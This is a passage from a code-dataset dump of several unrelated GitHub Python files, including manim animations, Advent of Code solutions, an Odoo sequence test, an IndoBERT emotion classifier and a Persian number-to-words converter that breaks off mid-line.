self.wait(2)\n self.play(Transform(quote, quote3), ApplyMethod(quoteB.move_to, quote3.get_corner(DOWN+RIGHT)+LEFT*2))\n self.play(FadeOut(quoteB))\n\n\nclass mainPlot(GraphScene):\n CONFIG = {\n \"x_min\" : -1,\n \"x_max\" : 5,\n \"y_min\" : 0,\n \"y_max\" : 32,\n # \"graph_origin\" : ORIGIN ,\n \"function_color\" : BLUE ,\n \"axes_color\" : WHITE,\n \"x_labeled_nums\" :range(0,6,1),\n \"y_labeled_nums\" :range(0,33,8),\n }\n def construct(self):\n self.setup_axes(animate=True)\n graph = self.get_graph(lambda x: 2**x,\n color = GREEN,\n x_min = -1,\n x_max = 6)\n point1 = self.input_to_graph_point(3,graph)\n point2 = self.input_to_graph_point(4,graph)\n line1 = Line(point1, point2-(0,1.5,0), color=BLUE)\n line2 = Line(point2, point2-(0,1.5,0), color=RED)\n text1 = TextMobject(\"dx\")\n text2 = TextMobject(\"dy\")\n text1.set_color(BLUE)\n text2.set_color(RED)\n\n text1.next_to(line1, DOWN)\n text2.next_to(line2, RIGHT)\n\n self.play(ShowCreation(graph), run_time = 1)\n self.wait(1)\n self.play(GrowFromCenter(line1), GrowFromCenter(line2), FadeIn(text1), FadeIn(text2))\n# self.play(ShowCreation(line1), ShowCreation(line2))\n self.wait(2)\n\n\nclass Plot1(GraphScene):\n CONFIG = {\n \"y_max\" : 32,\n \"y_min\" : 0,\n \"x_max\" : 5,\n \"x_min\" : -1,\n \"axes_color\" : BLUE,\n \"y_labeled_nums\": range(0,33,8),\n \"x_labeled_nums\": range(0,6,1),\n \"x_label_decimal\":1,\n \"y_label_direction\": RIGHT,\n \"x_label_direction\": RIGHT,\n \"y_label_decimal\":3\n }\n def construct(self):\n self.setup_axes(animate=True)\n graph = self.get_graph(lambda x : 2**x,\n color = GREEN,\n x_min = -1,\n x_max = 5.5\n )\n self.play(\n \tShowCreation(graph),\n run_time = 2\n )\n self.wait()\n\nclass Plot2(GraphScene):\n CONFIG = {\n \"x_min\" : -10,\n \"x_max\" : 10.3,\n \"y_min\" : -1.5,\n \"y_max\" : 1.5,\n \"graph_origin\" : ORIGIN ,\n \"function_color\" : RED ,\n \"axes_color\" : GREEN,\n \"x_labeled_nums\" :range(-10,12,2),\n }\n def construct(self):\n self.setup_axes(animate=True)\n func_graph=self.get_graph(self.func_to_graph,self.function_color)\n func_graph2=self.get_graph(self.func_to_graph2)\n vert_line = self.get_vertical_line_to_graph(TAU,func_graph,color=YELLOW)\n graph_lab = self.get_graph_label(func_graph, label = \"\\\\cos(x)\")\n graph_lab2=self.get_graph_label(func_graph2,label = \"\\\\sin(x)\", x_val=-10, direction=UP/2)\n two_pi = TexMobject(\"x = 2 \\\\pi\")\n label_coord = self.input_to_graph_point(TAU,func_graph)\n two_pi.next_to(label_coord,RIGHT+UP)\n\n self.play(ShowCreation(func_graph),ShowCreation(func_graph2))\n self.play(ShowCreation(vert_line), ShowCreation(graph_lab), ShowCreation(graph_lab2),ShowCreation(two_pi))\n\n def func_to_graph(self,x):\n return np.cos(x)\n\n def func_to_graph2(self,x):\n return np.sin(x)\n","repo_name":"co24428/manim_test","sub_path":"myani01.py","file_name":"myani01.py","file_ext":"py","file_size_in_byte":5000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6824167617","text":"from Intcode import computer\npath = 'inputDay5'\nrawData = []\nwith open(path) as file:\n rawData = file.readlines()\n\nrawIntcode = rawData[0].split(',')\nintcode = []\nfor i in range(0,len(rawIntcode)):\n intcode.append(int(rawIntcode[i]))\nday5computer = computer(intcode)\nday5computer.inputs.append(1)\nday5computer.run()\nprint(f'After running the program, the last output is is: {day5computer.outputs[-1]} (12428642)')\nday5part2computer = computer(intcode)\nday5part2computer.inputs.append(5)\nday5part2computer.run()\nprint(f'The diagnostic code for system ID 5 is: {day5part2computer.outputs[-1]} (918655)')\n\n#part2\n","repo_name":"roadsidegravel/advent-of-code","sub_path":"2019/Day 07/Day5.py","file_name":"Day5.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"40377783124","text":"from prettytable import PrettyTable\r\nfrom DB_Servicios_BE import serviciosDB \r\n\r\nclass serviciosBE:\r\n def __init__(self):\r\n self.servicios=serviciosDB()\r\n\r\n def getAllServices(self):\r\n result = self.servicios.getServices()\r\n\r\n table = PrettyTable()\r\n table.field_names = [\"IdServicio\",\"NombreServicio\"]\r\n\r\n for servicio in result:\r\n table.add_row([servicio[\"idServicio\"],servicio[\"NombreServicio\"]])\r\n\r\n print(table)\r\n table.clear()\r\n\r\n def addService(self):\r\n print(\"\\nAdding a new service...\")\r\n name = input(\"\\nNombreServicio: \")\r\n\r\n\r\n self.servicios.insertService(name)\r\n idservicio=self.servicios.traerIDServicio(name)\r\n\r\n print(\"\\nSu servicio se ha registrado con éxito.\\n\")\r\n print(f\"Su código de servico único es {idservicio}.\\n\")\r\n\r\n def updateService(self):\r\n print(\"\\nUpdating an existing service...\")\r\n id = int(input(\"\\nID del servicio a actualizar: \"))\r\n\r\n service = self.servicios.searchServiceById(id)\r\n\r\n update = int(input(\"Update Name? 0-No - 1-Yes \"))\r\n if update == 1:\r\n print(f\"Viejo Nombre del Servicio: {service['NombreServicio']}\")\r\n name = input(\"Nuevo Nombre del Servicio: \")\r\n else:\r\n name = service[\"NombreServicio\"]\r\n \r\n self.servicios.updateServiceBD(id,name)\r\n print(\"\\nLos cambios se han efectuado con éxito.\")\r\n\r\n def deleteService(self):\r\n print(\"\\nDeleting service...\")\r\n id = int(input(\"\\nID of service to delete: \"))\r\n\r\n self.servicios.deleteServiceDB(id)\r\n print(\"\\nEl servicio se ha removido con éxito.\")","repo_name":"DAP-web/AirbnbProyect","sub_path":"Segundo Avance/Formularios ABC/Servicios_BE.py","file_name":"Servicios_BE.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"23321195207","text":"import re\n\nREGEXP = r'Sensor at x=(?P-?\\d+), y=(?P-?\\d+): closest beacon is at x=(?P-?\\d+), y=(?P-?\\d+)'\n\nclass Sensor:\n def __init__(self, pos_x: int, pos_y: int, beacon_x: int, beacon_y: int):\n self.x = pos_x\n self.y = pos_y\n self.beacon_x = beacon_x\n self.beacon_y = beacon_y\n self.closest_dist = abs(beacon_x - pos_x) + abs(beacon_y - pos_y)\n\n def diff_from_x(self, y_row: int):\n return self.closest_dist - abs(self.y - y_row)\n\n def num_impossible_spots(self, y_row: int):\n return max(self.diff_from_x(y_row) * 2 + 1, 0)\n\n def impossible_spots_range(self, y_row: int):\n diff_x = self.diff_from_x(y_row)\n if self.num_impossible_spots(y_row) == 0:\n return None\n else:\n return (self.x-diff_x, self.x+diff_x)\n\n def __str__(self):\n return f'Sensor: ({self.x},{self.y}). Closest beacon: ({self.beacon_x},{self.beacon_y}). Dist: {self.closest_dist}'\n\ndef impossible_range_len(sensors: list[Sensor], y_row: int) -> int:\n ranges = []\n\n for sensor in sensors:\n impossible_range = sensor.impossible_spots_range(y_row)\n if impossible_range != None:\n ranges.append(impossible_range)\n\n ranges.sort()\n\n combined_range_len = 0\n prev_s = ranges[0][0]\n prev_e = ranges[0][1]\n for idx in range(1,len(ranges)):\n (curr_s, curr_e) = ranges[idx]\n if curr_s > prev_e:\n combined_range_len += (prev_e - prev_s)\n prev_s = curr_s\n prev_e = curr_e\n elif curr_s <= prev_e:\n prev_e = max(prev_e, curr_e)\n\n combined_range_len += (prev_e - prev_s)\n\n return combined_range_len\n\ndef impossible_range(sensors: list[Sensor], y_row: int) -> list:\n ranges = []\n\n for sensor in sensors:\n impossible_range = sensor.impossible_spots_range(y_row)\n if impossible_range != None:\n ranges.append(impossible_range)\n\n ranges.sort()\n\n combined_ranges = []\n prev_s = ranges[0][0]\n prev_e = ranges[0][1]\n for idx in range(1,len(ranges)):\n (curr_s, curr_e) = ranges[idx]\n if curr_s > prev_e:\n combined_ranges.append((prev_s, prev_e))\n prev_s = curr_s\n prev_e = curr_e\n elif curr_s <= prev_e:\n prev_e = max(prev_e, curr_e)\n\n combined_ranges.append((prev_s, prev_e))\n\n return combined_ranges\n\n# Part 1\ny_row = 2000000\nsensors = []\nwith open('day15/input.txt') as f:\n for line in f:\n m = re.match(REGEXP, line)\n if m == None:\n raise ValueError\n\n sensor = Sensor(int(m.group('x1')), int(m.group('y1')), int(m.group('x2')), int(m.group('y2')))\n sensors.append(sensor)\n\n print(impossible_range_len(sensors, y_row))\n\n# Part 2\nsensors = []\nwith open('day15/input.txt') as f:\n for line in f:\n m = re.match(REGEXP, line)\n if m == None:\n raise ValueError\n\n sensor = Sensor(int(m.group('x1')), int(m.group('y1')), int(m.group('x2')), int(m.group('y2')))\n sensors.append(sensor)\n\n# Run this loop to get: 2753392\n# Took a couple minutes\n# for y in range(4000000):\n# if len(impossible_range(sensors, 2753392)) > 1:\n# print(y)\n# break\n\nbeacon_y_value = 2753392\nTUNING_FREQUENCY_MULTIPLIER = 4000000\nranges = impossible_range(sensors, beacon_y_value)\nprint(impossible_range(sensors, beacon_y_value))\nprint((ranges[0][1]+1) * TUNING_FREQUENCY_MULTIPLIER + beacon_y_value)\n","repo_name":"stevenwchien/advent-of-code-2022-python","sub_path":"day15/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"19891326732","text":"import csv\nfrom pathlib import Path\n\nimport numpy as np\n\n# Get the real data from https://www.kaggle.com/mlg-ulb/creditcardfraud/\nfname = Path(\"\") / \"model\" / \"keras_tute\" / \"creditcard.csv\"\n\n# vectorize the CSV data\nall_features = []\nall_targets = []\nwith open(fname) as f:\n for i, line in enumerate(f):\n if i == 0:\n print(\"HEADER:\", line.strip())\n continue # Skip header\n fields = line.strip().split(\",\")\n all_features.append([float(v.replace('\"', \"\")) for v in fields[:-1]])\n all_targets.append([int(fields[-1].replace('\"', \"\"))])\n if i == 1:\n print(\"EXAMPLE FEATURES:\", all_features[-1])\n\nfeatures = np.array(all_features, dtype=\"float32\")\ntargets = np.array(all_targets, dtype=\"uint8\")\nprint(\"features.shape:\", features.shape)\nprint(\"targets.shape:\", targets.shape)\n","repo_name":"0xdomyz/python_collection","sub_path":"model/keras_tute/credit_card_fraud.py","file_name":"credit_card_fraud.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"24468818694","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nimport six\nfrom six.moves import zip\n# coding: utf-8\n# Syntax parsing slingshot functions with spacy\n\n# set stones aside for sling\nSTONES = ['parse_path', 'postprocess','save_as_individual_text_csvs']\nMAX_LEN = 1000000 # spacy\n\n# imports\nimport os,sys,codecs\nfrom xopen import xopen\n\n# Load spacy\nimport spacy\ntry:\n\tnlp = spacy.load('en_core_web_sm')\nexcept IOError:\n\tnlp = spacy.load('en')\n\n\"\"\"\nPrincipal functions\n\"\"\"\n\ndef path2txt(path):\n\twith xopen(path) as f:\n\t\treturn f.read() #.decode('utf-8')\n\ndef parse_path(path):\n\treturn list(parse(path2txt(path)))\n\n# Main parser\nimport time\ndef parse(txt,max_len=MAX_LEN):\n\ttxt=txt.replace('\\r\\n','\\n').replace('\\r','\\n')\n\ttxt=txt.replace('@ @ @ @ @ @ @ @ @ @','\\n\\n') # hack for COHA\n\tparas=txt.split('\\n\\n')\n\n\t#doc=nlp(txt)\n\tnow=time.time()\n\tnum_tokens=0\n\tfor pi,para in enumerate(paras):\n\t\t#if not pi%10: print('>>',pi,'...')\n\t\tpara=para.strip()\n\t\tif len(para)>max_len: continue\n\t\tdoc=nlp(para)\n\t\tfor token in doc:\n\t\t\tnum_tokens+=1\n\t\t\ttd={'word':token.text,\n\t\t\t\t'lemma':token.lemma_,\n\t\t\t\t'tag':token.tag_,\n\t\t\t\t'para':pi+1,\n\t\t\t\t'i':token.i,\n\t\t\t\t'pos':token.pos_,\n\t\t\t\t'dep':token.dep_,\n\t\t\t\t'head':token.head.text,\n\t\t\t\t'head_pos':token.head.pos_,\n\t\t\t\t'head_lemma':token.head.lemma_,\n\t\t\t\t'head_tag':token.head.tag_,\n\t\t\t\t'sent_start':token.sent.start\n\t\t\t\t#'children':'|'.join([child.text for child in token.children])\n\t\t\t}\n\t\t\tyield td\n\tnownow=time.time()\n\tduration=nownow-now\n\trate=num_tokens/duration\n\tprint('>> FINISHED PROCESSING IN %s seconds (%s wps)' % (round(duration,1),rate))\n\n\n\n\n#Postprocess\n\ndef iterate_syntax(results_cache_dir_or_jsonl_file):\n\timport os\n\tfrom mpi_slingshot import stream_results_json\n\n\tI=0\n\tfor path,data in stream_results_json(results_cache_dir_or_jsonl_file):\n\t\tif '.ipynb' in path: continue\n\t\t#fn=os.path.split(path)[-1]\n\t\tfor dx in data:\n\t\t\tif not I%100000: print('>>',I,'...')\n\t\t\tdx['_i']=I\n\t\t\tdx['_path']=path\n\t\t\tI+=1\n\t\t\tyield dx\n\ndef save_as_individual_text_csvs(results_cache_dir_or_jsonl_file,odir=None):\n\timport codecs,csv,pandas as pd\n\tfrom llp import tools\n\tof=None\n\tpath_now=None\n\tif not odir: odir='results_postprocess_individual_csv'\n\told=[]\n\tfor dx in iterate_syntax(results_cache_dir_or_jsonl_file):\n\t\tif path_now!=dx['_path']:\n\t\t\t#opath=dx['_path'] if not dx['_path'].startswith('/') else dx['_path'][1:]\n\t\t\tif path_now:\n\t\t\t\topath=path_now\n\t\t\t\topath=opath if not opath.startswith('/') else opath[1:]\n\t\t\t\topath_full = os.path.join(odir,os.path.split(opath)[0])\n\t\t\t\tif not os.path.exists(opath_full): os.makedirs(opath_full)\n\t\t\t\tofn=os.path.splitext(os.path.basename(path_now))[0] + '.txt'\n\t\t\t\tofnfn=os.path.join(opath_full, ofn)\n\t\t\t\t#if of: of.close()\n\t\t\t\t#of=codecs.open(ofnfn,'w',encoding='utf-8')\n\t\t\t\t#of=open(ofnfn,'w')\n\t\t\t\t#header=sorted(dx.keys())\n\t\t\t\t#header.remove('_path')\n\t\t\t\t#writer=csv.DictWriter(of,fieldnames=header,delimiter='\\t')\n\t\t\t\t#writer.writeheader()\n\t\t\t\t#tools.write2(ofnfn,old)\n\t\t\t\t#print ofnfn,len(old)\n\t\t\t\tfor d in old:\n\t\t\t\t\tfor k,v in list(d.items()):\n\t\t\t\t\t\td[k]=six.text_type(v).replace('\\r\\n',\"\\\\n\").replace('\\r','\\\\n').replace('\\n','\\\\n')\n\t\t\t\t#pd.DataFrame(old).to_csv(ofnfn,sep='\\t',encoding='utf-8')\n\t\t\t\ttools.write(ofnfn,old,toprint=True)\n\t\t\t\t#print '>> saved:',ofnfn\n\t\t\told=[]\n\t\t\tpath_now=dx['_path']\n\n\t\tdel dx['_path']\n\t\told+=[dx]\n\n\t\t#writer.writerow(dx)\n\t#of.close()\n\n\n\n\ndef postprocess(results_cache_dir_or_jsonl_file,only_words=set(),only_pos=set(),only_rels=set(),lemma=False,output_fn=None,limit=None):\n\tif not output_fn:\n\t\tif '.jsonl' in results_cache_dir_or_jsonl_file:\n\t\t\toutput_fn=results_cache_dir_or_jsonl_file.replace('.jsonl','.postprocessed.txt')\n\t\telse:\n\t\t\toutput_folder=os.path.abspath(os.path.join(results_cache_dir_or_jsonl_file,'..'))\n\t\t\toutput_fn=os.path.join(output_folder,'results.postprocessed.txt')\n\tkwargs=dict(list(zip(['only_words','only_pos','only_rels','lemma','limit'], [only_words,only_pos,only_rels,lemma,limit])))\n\twritegen(output_fn,postprocess_iter,args=[results_cache_dir_or_jsonl_file],kwargs=kwargs)\n\ndef postprocess_iter(results_jsonl_fn,only_words=set(),only_pos=set(),only_rels=set(),lemma=False,limit=None):\n\timport pandas as pd,os\n\tfrom mpi_slingshot import stream_results\n\twnum=-1\n\tif only_words: only_words=set(only_words)\n\tif only_pos: only_pos=set(only_pos)\n\tif only_rels: only_rels=set(only_rels)\n\tfor ipath,(path,data) in enumerate(stream_results(results_jsonl_fn)):\n\t\tif limit and ipath>=limit: break\n\t\tif '.ipynb' in path: continue\n\t\tsent_ld=[]\n\t\tnum_sent=0\n\t\tfn=os.path.split(path)[-1]\n\t\todx=None\n\t\tfor dx in data:\n\t\t\twnum+=1\n\t\t\tdx['_i']=wnum\n\t\t\tif not wnum%10000: print('>>',wnum,ipath,path,odx,'...')\n\t\t\tif sent_ld and dx['sent_start']!=sent_ld[-1]['sent_start']:\n\t\t\t\told=postprocess_sentence(sent_ld,only_words=only_words,only_pos=only_pos,only_rels=only_rels,lemma=lemma)\n\t\t\t\tnum_sent+=1\n\t\t\t\tfor odx in old:\n\t\t\t\t\todx['num_sent']=num_sent\n\t\t\t\t\todx['fn']=fn\n\t\t\t\t\tyield odx\n\t\t\t\t\tsent_ld=[]\n\t\t\tsent_ld+=[dx]\n\ndef postprocess_sentence(sent_ld,only_words=set(),only_pos=set(),only_rels=set(),lemma=False):\n\t\"\"\"\n\tModifiers\n\tNouns possessed by characters: poss\n\tAdjectives modifying characters:\n\tVerbs of which character is a subject\n\tVerbs of which character is an object\n\n\trels = {'poss':'Possessive',\n\t\t 'nsubj':'Subject',\n\t\t 'dobj':'Object',\n\t\t 'amod':'Modifier'}\n\t\"\"\"\n\n\told=[]\n\tfor dx in sent_ld:\n\t\tword=dx['lemma'] if lemma else dx['word']\n\t\trel=dx['dep']\n\t\thead=dx['head_lemma'] if lemma else dx['head']\n\t\tpos=dx['pos']\n\t\tword,head=word.lower(),head.lower()\n\t\tif only_words and not word in only_words: continue\n\t\tif only_pos and not pos in only_pos: continue\n\t\tif only_rels and not rel in only_rels: continue\n\t\tword_dx={'head':head,'word':word,'rel':rel, '_i':dx['_i']}\n\t\told+=[word_dx]\n\treturn old\n\n\n\n\"\"\"\nAppendices\n\"\"\"\ndef gleanPunc2(aToken):\n\taPunct0 = ''\n\taPunct1 = ''\n\twhile(len(aToken) > 0 and not aToken[0].isalnum()):\n\t\taPunct0 = aPunct0+aToken[:1]\n\t\taToken = aToken[1:]\n\twhile(len(aToken) > 0 and not aToken[-1].isalnum()):\n\t\taPunct1 = aToken[-1]+aPunct1\n\t\taToken = aToken[:-1]\n\n\treturn (aPunct0, aToken, aPunct1)\n\n\n\ndef writegen(fnfn,generator,header=None,args=[],kwargs={}):\n\timport codecs,csv\n\tif 'jsonl' in fnfn.split('.'): return writegen_jsonl(fnfn,generator,args=args,kwargs=kwargs)\n\titerator=generator(*args,**kwargs)\n\tfirst=next(iterator)\n\tif not header: header=sorted(first.keys())\n\twith open(fnfn, 'w') as csvfile: # , encoding='utf-8', errors='ignore')\n\t\twriter = csv.DictWriter(csvfile,fieldnames=header,delimiter='\\t')\n\t\twriter.writeheader()\n\t\tfor i,dx in enumerate(iterator):\n\t\t\tfor k,v in list(dx.items()):\n\t\t\t\tdx[k]=six.text_type(v).encode('utf-8',errors='ignore')\n\t\t\twriter.writerow(dx)\n\tprint('>> saved:',fnfn)\n","repo_name":"quadrismegistus/slingshot","sub_path":"slings/parse_syntax.py","file_name":"parse_syntax.py","file_ext":"py","file_size_in_byte":6702,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"23243679638","text":"import numpy as np\nimport seaborn as sns\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\nfig, axes = plt.subplots(nrows=2, ncols=3, figsize=(10, 5))\nplt.subplots_adjust(wspace=0.25, hspace=0.55)\n\nfor case_idx in range(5):\n random_scheduler_results = np.zeros(shape=(5000))\n hybrid_scheduler_results = np.zeros(shape=(5000))\n our_scheduler_results = np.zeros(shape=(5000))\n for repetition in range(3):\n with open('data/random_scheduler_' + str(case_idx) + '_' + str(repetition) + '.npy', 'rb') as f:\n random_scheduler_results += np.load(f) / 3\n\n with open('data/hybrid_scheduler_' + str(case_idx) + '_' + str(repetition) + '.npy', 'rb') as f:\n hybrid_scheduler_results += np.load(f) / 3\n\n with open('data/our_scheduler_' + str(case_idx) + '_' + str(repetition) + '.npy', 'rb') as f:\n our_scheduler_results += np.load(f) / 3\n\n assert(len(random_scheduler_results) == len(hybrid_scheduler_results))\n assert(len(random_scheduler_results) == len(our_scheduler_results))\n\n data=[]\n for i in range(5000):\n data.append([i, random_scheduler_results[i], 'Random'])\n data.append([i, hybrid_scheduler_results[i], 'Hybrid'])\n data.append([i, our_scheduler_results[i], 'Ours'])\n\n df=pd.DataFrame(data, columns=['trial', 'cost', 'scheduler'])\n ax=sns.lineplot(ax=axes[case_idx // 3, case_idx % 3], hue_order=['Ours', 'Hybrid', 'Random'], linewidth=2,\n palette=['tab:green', 'tab:orange', 'tab:blue'],\n data=df, x=\"trial\", y=\"cost\", hue='scheduler')\n ax.lines[2].set_linestyle(\"--\")\n\n ax.set_xlabel(None)\n ax.set_ylabel(None)\n if case_idx == 0:\n ax.set(ylim=(0, 20))\n ax.set_yticks([0, 5, 10, 15, 20])\n ax.set_yticklabels([0, 5, 10, 15, 20], fontsize=15)\n elif case_idx == 1:\n ax.set(ylim=(0, 40))\n ax.set_yticks([0, 10, 20, 30, 40])\n ax.set_yticklabels([0, 10, 20, 30, 40], fontsize=15)\n elif case_idx == 2:\n ax.set(ylim=(0, 40))\n ax.set_yticks([0, 10, 20, 30, 40])\n ax.set_yticklabels([00, 10, 20, 30, 40], fontsize=15)\n elif case_idx == 3:\n ax.set(ylim=(0, 60))\n ax.set_yticks([0, 20, 40, 60])\n ax.set_yticklabels([0, 20, 40, 60], fontsize=15)\n elif case_idx == 4:\n ax.set(ylim=(0, 200))\n ax.set_yticks([0, 50, 100, 150, 200])\n ax.set_yticklabels([0, 50, 100, 150, 200], fontsize=15)\n\n ax.set_xticks([0, 2500, 5000])\n ax.set_xticklabels([0, 2500, 5000], fontsize=15)\n\n if case_idx == 4:\n ax.get_legend().set_title(None)\n handles, labels=ax.get_legend_handles_labels()\n handles[2].set_linestyle('--')\n handles=[handles[2], handles[1], handles[0]]\n labels=[labels[2], labels[1], labels[0]]\n ax.legend(handles, labels, ncol=1, handletextpad=0.3,\n loc='upper left', bbox_to_anchor=(1.2, 1), fontsize=15)\n else:\n ax.get_legend().remove()\naxes[1, 2].remove()\nplt.savefig(\"convergence.pdf\", dpi=1000)\n","repo_name":"FMInference/DejaVu","sub_path":"Decentralized_FM_alpha/scheduler/heuristic_evolutionary_solver/convergence_lineplot.py","file_name":"convergence_lineplot.py","file_ext":"py","file_size_in_byte":3041,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"18"} +{"seq_id":"13937444487","text":"import torch\nimport torch.nn.functional as F\nfrom transformers import BertTokenizer, AlbertConfig, AlbertForSequenceClassification\n\nINDOBERT_LITE_LARGE_P1 = \"indobenchmark/indobert-lite-large-p1\"\nSAVED_MODEL_DICT_PATH = \"telebot/StateDict_IndobertLiteLarge_p1.pth\"\n\ntokenizer = BertTokenizer.from_pretrained(INDOBERT_LITE_LARGE_P1)\nconfig = AlbertConfig.from_pretrained(INDOBERT_LITE_LARGE_P1)\nmodel = AlbertForSequenceClassification.from_pretrained(INDOBERT_LITE_LARGE_P1, config=config)\n\nmodel.load_state_dict(torch.load(SAVED_MODEL_DICT_PATH, map_location=torch.device('cpu')))\nmodel.eval()\n\ndef get_response(text):\n emot_dict = {0: 'sedih', 1: 'marah', 2: 'cinta', 3: 'takut', 4: 'senang'}\n subwords = tokenizer.encode(text)\n subwords = torch.LongTensor(subwords).view(1, -1).to(model.device)\n\n logits = model(subwords)[0]\n label = torch.topk(logits, k=1, dim=-1)[1].squeeze().item()\n\n return f\"Teks: {text} | Emosi: {emot_dict[label]}\"","repo_name":"faishalfaye/dinabot","sub_path":"telebot/mastermind.py","file_name":"mastermind.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32366766297","text":"from odoo.tests.common import SingleTransactionCase\n\n\nclass TestIrSequenceBranchStandard(SingleTransactionCase):\n \"\"\"A few tests for a 'Standard' sequence.\"\"\"\n\n def test_ir_sequence_branch_1_create(self):\n \"\"\"Create an ir.sequence record with two ir.sequence.date_range records\"\"\"\n self.env.user.company_id.branch = \"00007\"\n seq = self.env[\"ir.sequence\"].create(\n {\n \"code\": \"test_branch\",\n \"name\": \"Test sequence branch\",\n \"use_date_range\": False,\n \"prefix\": \"test-%(b5)s/%(b4)s/%(b3)s/%(b2)s/%(b1)s-\",\n \"suffix\": \"-%(b5)s/%(b4)s/%(b3)s/%(b2)s/%(b1)s\",\n \"padding\": 4,\n }\n )\n self.assertTrue(seq)\n\n def test_ir_sequence_branch_2_use(self):\n \"\"\"Try to use the sequence object.\"\"\"\n for i in range(1, 10):\n value = self.env[\"ir.sequence\"].next_by_code(\"test_branch\")\n self.assertEqual(\n value, f\"test-00007/0007/007/07/7-{i:04}-00007/0007/007/07/7\"\n )\n\n def test_ir_sequence_branch_3_change_branch(self):\n \"\"\"Change company's branch\"\"\"\n self.env.user.company_id.branch = \"00314\"\n for i in range(10, 20):\n value = self.env[\"ir.sequence\"].next_by_code(\"test_branch\")\n self.assertEqual(\n value, f\"test-00314/0314/314/14/4-{i:04}-00314/0314/314/14/4\"\n )\n\n def test_ir_sequence_branch_4_unlink(self):\n seq = self.env[\"ir.sequence\"].search([(\"code\", \"=\", \"test_branch\")])\n seq.unlink()\n","repo_name":"OCA/l10n-thailand","sub_path":"l10n_th_sequence_branch/tests/test_ir_sequence.py","file_name":"test_ir_sequence.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"18"} +{"seq_id":"42586530829","text":"from queue import *\n\nDEBUG = True\n\ngraph = []\nvisited = []\n\ndef dfs(u):\n global visited, graph\n\n if (DEBUG):\n print(u)\n\n visited[ u ] = True\n for v in graph[ u ]:\n if not visited[ v ]:\n dfs(v)\n\n# Ilustra a criação de um grafo direcionado\ndef init_directed_graph(): \n global visited, graph\n\n vertices = 4\n visited = [False] * vertices\n # Lista de adjacências para cada vértice\n for i in range(0,vertices):\n graph.append( [] )\n \n graph[0].append(1) # 0 -> 1\n graph[0].append(2) # 0 -> 2\n graph[1].append(2) # 1 -> 2\n graph[2].append(3) # 2 -> 3\n if (DEBUG):\n print(graph)\n \n dfs(0) \n\ninit_directed_graph()","repo_name":"r0drigopaes/paa","sub_path":"DFS.py","file_name":"DFS.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"18"} +{"seq_id":"17948689192","text":"nums = list()\nnum = input(\"Enter the size of the array:\")\nprint('Enter numbers in array: ')\nfor i in range(int(num)):\n n = input()\n nums.append(int(n))\nprint('List of Numbers: ',nums)\n\ntriplet_result = []\nnums.sort() # sort the numbers in ascending order\nr=len(nums)-1 #index of the last number in an array\nfor i in range(len(nums)-2): # repeat the loop from 1st number to last but one number\n l = i + 1 # start l with value greater than i\n while (l < r): # repeat the loop till l is less than r\n sum = nums[i] + nums[l] + nums[r] # add first two numbers and last number and assign its value to sum variable\n if (sum < 0):\n l = l + 1 #if sum is less than zero then increment l\n if (sum > 0):\n r = r - 1 # if sum is greater than zero then decrement r\n if not sum: # check if sum is zero\n triplet_result.append([nums[i],nums[l],nums[r]]) # append the triplet list into result variable\n l = l + 1 # increment l when we find a combination whose sum is zero\nprint('Triplets list: ',triplet_result)","repo_name":"sirisha1206/Python","sub_path":"Lab/Lab1/Source/lab1_3.py","file_name":"lab1_3.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43285788337","text":"# it is very good to add comma to addads and numbers\n\nnumbers = [\n '1', '2', '3', '4', '5', '6', '7', '8', '9', '0',\n]\n\nadads = [\n '۱', '۲', '۳', '۴', '۵', '۶', '۷', '۸', '۹', '۰',\n]\n\n\ndef fa(n):\n if type(n) is int:\n n = str(n)\n return n.replace(\n numbers, adads\n )\n\n\ndef en(n):\n return int(n.replace(\n adads, numbers\n ))\n\nletters = {\n '1000000000': 'میلیارد',\n '1000000': 'میلیون',\n '1000': 'هزار',\n '900': 'نهصد',\n '800': 'هشتصد',\n '700': 'هفتصد',\n '600': 'ششصد',\n '500': 'پانصد',\n '400': 'چهارصد',\n '300': 'سیصد',\n '200': 'دویست',\n '100': 'صد',\n '90': 'نود',\n '80': 'هشتاد',\n '70': 'هفتاد',\n '60': 'شصت',\n '50': 'پنجاه',\n '40': 'چهل',\n '30': 'سی',\n '20': 'بیست',\n '19': 'نوزده',\n '18': 'هجده',\n '17': 'هفده',\n '16': 'شانزده',\n '15': 'پانزده',\n '14': 'چهارده',\n '13': 'سیزده',\n '12': 'دوازده',\n '11': 'یازده',\n '10': 'ده',\n '9': 'نه',\n '8': 'هشت',\n '7': 'هفت',\n '6': 'شش',\n '5': 'پنج',\n '4': 'چهار',\n '3': 'سه',\n '2': 'دو',\n '1': 'یک',\n '0': 'صفر',\n}\n\n_ = 'و'\n\n\ndef letterize(n):\n n = str(int(n))\n print('>{}'.format(n))\n if n in letters:\n return letters[n]\n if len(n) > 9:\n return '{head} {billion} {_}{tail}'.format(head=letterize(n[:-9]) if n[:-9] != '1' else '', billion=letters['1000000000'], _=_, tail=letterize(n[-9:]))\n if len(n) > 6:\n return '{head} {million} {_}{tail}'.format(head=letterize(n[:-6]) if n[:-6] != '1' else '', million=letters['1000000'], _=_, tail=letterize(n[-6:]))\n if 